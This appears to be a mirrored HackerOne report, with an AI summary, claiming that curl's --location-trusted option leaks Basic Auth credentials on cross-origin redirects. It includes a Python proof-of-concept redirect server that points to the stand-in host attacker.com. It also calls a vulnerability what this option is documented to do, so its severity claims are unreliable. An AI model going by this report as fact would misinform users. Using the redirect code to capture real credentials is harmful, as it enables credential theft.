Skip to content
Info disclosure Disclosed report Beginner

Authorization Header Leak via --location-trusted in Curl

The --location-trusted option in Curl forwards the Authorization header when following cross-origin redirects, exposing Basic Authentication credentials to untrusted hosts. An attacker who controls a redirecting endpoint can steal credentials from any request using Basic Auth.

voggerloops Follow

Originally disclosed on HackerOne

  • Disclosed after 5 months

Curl's --location-trusted Option Leaks Authorization Header Across Domains The --location-trusted option in Curl forwards the Authorization header when following cross-origin redirects, exposing Basic Authentication credentials to untrusted hosts.

  • If an attacker controls a redirecting endpoint, they can steal credentials from any requests using Basic Auth.
  • Unlike --location, which strips authentication headers for security, --location-trusted forwards them without warning, leading to unintended

credential leakage. This violates authentication best practices and introduces a serious security risk


Affected Versions Run:

curl -V

Example Output:

curl 8.5.0 (x86_64-pc-linux-gnu) libcurl/8.5.0 OpenSSL/3.0.10 zlib/1.3.1 Release-Date: 2024-01-15

Tested on:

  • Linux (Ubuntu 22.04)
  • macOS 14 Sonoma
  • Windows 11 (WSL2)

** Steps to Reproduce**

Start a Malicious Redirect Server Run this Python script on an attacker-controlled machine: python from http.server import BaseHTTPRequestHandler, HTTPServer

class RedirectHandler(BaseHTTPRequestHandler): def do_GET(self): self.send_response(302) self.send_header("Location", "http://attacker.com") self.end_headers()

server = HTTPServer(("0.0.0.0", 8080), RedirectHandler) server.serve_forever()


 Run Curl with Authentication & --location-trusted
Execute:
curl -v -L --user "admin:password" --location-trusted http://localhost:8080
`

---

 Expected Behavior
- Curl should strip the Authorization header  when redirecting to a  different domain.

 Actual Behavior
- Curl forwards the Authorization header to `attacker.com`, exposing credentials.

---

Supporting Material / References
 Curl Debug Log (`-v --trace curl_trace.txt`) – Shows leaked Authorization header  
Packet Capture (`tcpdump`/Wireshark)– Confirms credentials are sent cross-origin  
 PoC Python Code (`redirect_poc.py`) – Reproduces the vulnerability locally  

---

 Impact: What an Attacker Can Achieve
 Credential Exposure:
- Any Basic Authentication credentials (API keys, admin passwords, cloud service tokens) are leaked if an attacker controls the redirect.

 Privilege Escalation:
- Attackers can gain unauthorized access to admin interfaces, APIs, or cloud services, leading to 
full system compromise

 DevOps & CI/CD Pipeline Risk:
- Automation scripts & DevOps pipelines using `curl` may unknowingly expose credentials to untrusted redirect targets

---

 Suggested Fix
 Immediate Workaround for Affected Users
Avoid`--location-trusted` when authentication is involved  
Manually follow redirects by parsing `curl -i` output  
Use API tokens instead of Basic Auth where possible  

 Permanent Fix for Curl Developers
Automatically strip Authorization headers for cross-origin redirect
Update documentation to warn users about risks of `--location-trusted` 
Display security warnings before forwarding authentication credentials  

---
Final Thoughts
This vulnerability exposes sensitive credentials to untrusted third parties, which can lead to **credential theft, account takeovers, and security breaches Fixing this issue will help protect automation scripts, CI/CD pipelines, and security-conscious developers from unintentionally leaking credentials.

## Impact

The location-trusted option in Curl forwards the Authorization header when following cross-origin redirects, exposing Basic Authentication credentials to untrusted hosts.

This behavior creates a security risk where an attacker controlling a redirecting endpoint can steal credentials from any request using Basic Auth. Unlike --location, which strips authentication headers for security reasons, --location-trusted forwards them without warning, leading to unintended credential leakage.

This issue violates authentication best practices and could lead to credential theft, privilege escalation, and security breaches, particularly affecting DevOps pipelines, automation scripts, and CI/CD environments that rely on Curl.

The recommended fix is to automatically strip Authorization headers for cross-origin redirects, warn users about the risks of --location-trusted, and update documentation to reflect this issue.

The original report as published on HackerOne, by voggerloops. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the --location-trusted option is designed to forward authentication headers across redirects without checking whether the destination is a different origin, and it does so without warning.

Impact

An attacker controlling a redirect can steal Basic Authentication credentials, potentially leading to unauthorised access to admin interfaces, APIs, or cloud services, and affecting DevOps pipelines and automation scripts that use Curl.

What the attacker needed

Attacker controls a redirecting endpoint; victim uses curl with --location-trusted; victim uses Basic Authentication

The fix

Curl developers should automatically strip Authorization headers for cross-origin redirects, warn users about the risks of --location-trusted, and update documentation.

How it was found

  1. Start a malicious redirect server that responds with a 302 redirect to an attacker-controlled host.
  2. Run Curl with Basic Authentication and the --location-trusted option against the redirect server.
  3. Observe that Curl forwards the Authorization header to the attacker's host.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Curl is a command-line tool for making web requests. When a server redirects to another address, Curl normally drops your login details (the Authorization header) for safety. The --location-trusted option tells Curl to keep sending them even to a different site, so if an attacker controls the redirect, they receive your username and password.

What is Info disclosure?

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.

More from curl

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Information disclosure

The lesson behind this report.

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.